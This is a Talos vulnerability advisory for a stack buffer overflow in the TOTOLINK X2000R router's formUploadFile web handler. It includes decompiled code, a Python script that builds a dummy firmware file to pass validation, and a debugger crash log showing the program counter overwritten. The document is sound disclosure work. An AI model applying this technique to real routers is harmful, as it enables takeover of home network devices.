TALOS-2026-2429
CVE-2026-9817
A stack-based buffer overflow vulnerability exists in the boa formUploadFile functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.
The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.
X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327)
X2000R - https://www.totolink.net/home/menu/newstpl/menu_newstpl/products/id/242.html
9.1 - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
CWE-121 - Stack-based Buffer Overflow
The Totolink X2000R is a popular budget gigabit home router primarly found in eastern markets. Supporting IPV6, WPA3, mesh capabilities among other features, the Totolink X2000R is a solid choice for the price point.
The Totolink X2000R mainly relies on the standalone boa binary for all web administration and subsequent configuration. While normally a security risk in itself due to the age, it appears that the version running on the X2000R has been patched. Regardless, for the current set of vulnerabilities we only pay attention to the Totolink-specific issues, so we start from the point where authentication has already occurred via the /boafrm/formLogin webpage, and then we can successfully interact with another /boafrm/form* page, each of which have a corresponding callback. For the current vulnerability we examine the /boafrm/formUploadFile page, which leads us into the formUploadFile() function:
0044ce38 size_t formUploadFile(struct client* cli)
0044ce50 int32_t upload_offset = get_readstart_offset(cli->uploadbuf) // [1]
0044ce60 char var_d8[0xc8]
0044ce60
0044ce60 if (upload_offset != 0xffffffff)
0044cf20 // okay, we reach here...
0044cf20 uint32_t $v0_2 = isFileExist("/tmp/bzupload")
0044cf2c char* uploadbuf = cli->uploadbuf
0044cf2c
0044cf28 if ($v0_2 != 0)
0044cf34 get_filename_from_buf(buf: uploadbuf, dst: &upload_filename)
0044cf48 sprintf(dst: &var_d8, fmt: "<b>Upload Successful, file name: %s</b>", &upload_filename)
0044cf5c write_to_firware_ini(readbuf: cli->uploadbuf, msgsize: cli->message_size_maybe, readoffset: upload_offset,
0044cf5c filename: &upload_filename)
0044cf68 system(string: "killall batchupg >/dev/null 2>&1")
0044cf74 system(string: "batchupg & >/dev/null 2>&1")
0044cf84 return send_302_redirect(cli, redirect-url: "/bzupload.htm")
0044cf84
0044cfb0 if (handleFirmwareFile(msgbuf: uploadbuf, max_size: cli->message_size_maybe, read_offset: upload_offset) == 0) // [2]
0044cfbc get_filename_from_buf(buf: cli->uploadbuf, dst: &upload_filename) // [3]
0044cfd0 sprintf(dst: &var_d8, fmt: "<b>Upload Successful, file name: %s</b>", &upload_filename) // [4]
0044cfe4 write_to_firware_ini(readbuf: cli->uploadbuf, msgsize: cli->message_size_maybe, readoffset: upload_offset,
0044cfe4 filename: &upload_filename)
0044cf84 return send_302_redirect(cli, redirect-url: "/bupload.htm")
0044cf84
0044d00c sprintf(dst: &var_d8, fmt: "<b>%s</b>", &invalid_file_format_err)
0044ce60 else
0044ce70 strcpy(dest: &var_d8, src: "<b><script>dw(Js_InvalidFormat)</script></b>")
Since we are uploading a file, we suitably start by looking to see if our http request actually contains multipart form data at [1]. Assuming there actually exists a file to upload, we check to see the /tmp/bzupload file exists. Unless we send a /form/formBuploadSetting request, this file will not exist. Regardless, since we control this, we hit the branch at [2], where by our uploaded firmware file is parsed and validated. Assuming we pass this check, we read in the filename from our multi-part form data at [3] and copy it without length restrictions at [4] resulting in a stack-based buffer overflow and command execution.
While this writeup could be ended at this point, it’s still worth describing what a “valid” firmware file is. As such the basic firmware struct is presented below:
struct fw_partition __packed
{
char magic[0x4]; // [5]
__padding char _4[4]; // unused
uint32_t mtd_seek_offset; // [6]
uint32_t fw_size;
uint8_t firmware[fw_size];
};
struct fw_file {
struct fw_partition[];
char version_signature[0x14];
};
A given firmware file can have multiple partiions, but there’s only two partitions on the device that can be flashed, /dev/mtdblock0, the bios/kernel, and /dev/mtdblock 1 which is the squashfs filesystem. The magic bytes [5] can be cr6c, w6cg, or r6cr, which determines what type of firmware we’re trying to flash and which partition to flash, and the mtd_seek_offset determines where in the partition to start writing. There is also a very basic checksum that occurs, which either adds every 2 bytes or every 4 bytes together (depending on the firmware type) looking for a resulting 0x0 at the end of the process. Regardless, if we want to essentially bypass the flashing process while still having a “valid” firmware, we can use the following python to generate a dummy firmware and prevent messing up our exploitation:
#!/usr/bin/python
import struct
fwsize = 0
mtdoffset = 0
fwbuf = b""
fwbuf += b"cr6c"
fwbuf += b"\x80\xa0\x00\x00" # Don't actually know lol.
fwbuf += struct.pack("<I", mtdoffset) # offset we write into /dev/mtdblock0 or 1
fwbuf += struct.pack(">I", fwsize) # big endian for some reason. Next firmware starts at fwsize+0x10
fwbuf += b"TOTOLINK-X2000R-Gh-V1\x0a"
with open("dummy_fw.bin.web", "wb") as f:
f.write(fwbuf)
--------------------------------------
Breakpoint 8, 0x0044c5b4 in ?? ()
[-.-]> !ls
***********************************************************************************
***********************************************************************************
v0[H] : 0x006c9807 | s3[H] : 0x004bb134
v1 : 0x00000022 | s4[X] : 0x00462fe0
a0[H] : 0x006c9808 | s5[X] : 0x0048c92c
a1[H] : 0x006c9107 | s6[H] : 0x004bb12c
a2 : 0x00000700 | s7 : 0x0000000e
a3 : 0x7f626262 | t8[X] : 0x0048c2fc
t0 : 0x7efefeff | t9[L] : 0x76d972b0
t1 : 0x80fefefe | k0 : 0x00000001
t2 : 0x81010100 | k1 : 0x00000000
t3 : 0x87c20038 | gp[L] : 0x76de6400
t4 : 0x00000000 | sp[S] : 0x7f8b2c28
t5 : 0x00000001 | ra[X] : 0x0044c5a0
t6 : 0x00000001 | status : 0x0000f413
t7[H] : 0x00490000 | badvaddr[H] : 0x004980f0
s0[H] : 0x00493cc1 | pc[X] : 0x0044c5b4
s1[H] : 0x004935c0 | fcsr : 0x00000000
s2[H] : 0x006c9107 | restart : 0x00000000
***********************************************************************************
0x44c5a8: move a1,s2
0x44c5ac: addiu a2,s0,-1
0x44c5b0: addu s0,s1,s0
=> 0x44c5b4: jal 0x47b9a0
0x44c5b8: move a0,s1
0x44c5bc: sb zero,-1(s0)
0x44c5c0: move v0,s1
0x44c5c4: lw ra,36(sp)
***********************************************************************************
#0 0x0044c5b4 in (0x400000 0x47c000 0x7c000 0x0 r-xp /bin/boa)(+0x4c5b4)
***********************************************************************************
[o.o]> x/1s $a1
0x6c9107: 'A' <repeats 200 times>...
[>_>]> info reg s1
s1: 0x4935c0
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
[^_^] SIGSEGV
***********************************************************************************
***********************************************************************************
v0 : 0x00000000 | s3[H] : 0x004bb134
v1 : 0x00000000 | s4[X] : 0x00462fe0
a0 : 0x00000001 | s5[X] : 0x0048c92c
a1 : 0x00000001 | s6[H] : 0x004bb12c
a2[L] : 0x76dde2d0 | s7 : 0x0000000e
a3 : 0x00000001 | t8[X] : 0x0048c2ec
t0[H] : 0x0049d558 | t9[L] : 0x772af8bc
t1 : 0x00fc4deb | k0 : 0x00000001
t2 : 0x00000000 | k1 : 0x00000000
t3 : 0x800247e8 | gp[L] : 0x772cb020
t4 : 0x0000ffff | sp[S] : 0x7f8b2d40
t5 : 0x000087c0 | ra : 0x41414141
t6 : 0x00000000 | status : 0x0000f413
t7[H] : 0x00490000 | badvaddr : 0x41414140
s0 : 0x41414141 | pc : 0x41414141
s1 : 0x41414141 | fcsr : 0x00000000
s2 : 0x41414141 | restart : 0x00000000
***********************************************************************************
Invalid $pc @ 0x41414141
#0 0x41414141 in ?? ()
Backtrace stopped: previous frame identical to this frame (corrupt stack?)
***********************************************************************************
***********************************************************************************
2026-06-16 - vulndev@cisco.com - Initial Vendor Notification
2026-06-23 - vulndiscovery@external.cisco.com - Follow-up sent
2026-06-25 - fae_hardware@zioncom.net - Vendor Acknowledged
2026-06-25 - vulndiscovery@external.cisco.com - Resent all notifications
2026-07-16 - vulndiscovery@external.cisco.com - Follow-up sent
2026-09-15 - vulndiscovery@external.cisco.com - Follow-up sent
Lilith Wyatt of Cisco Talos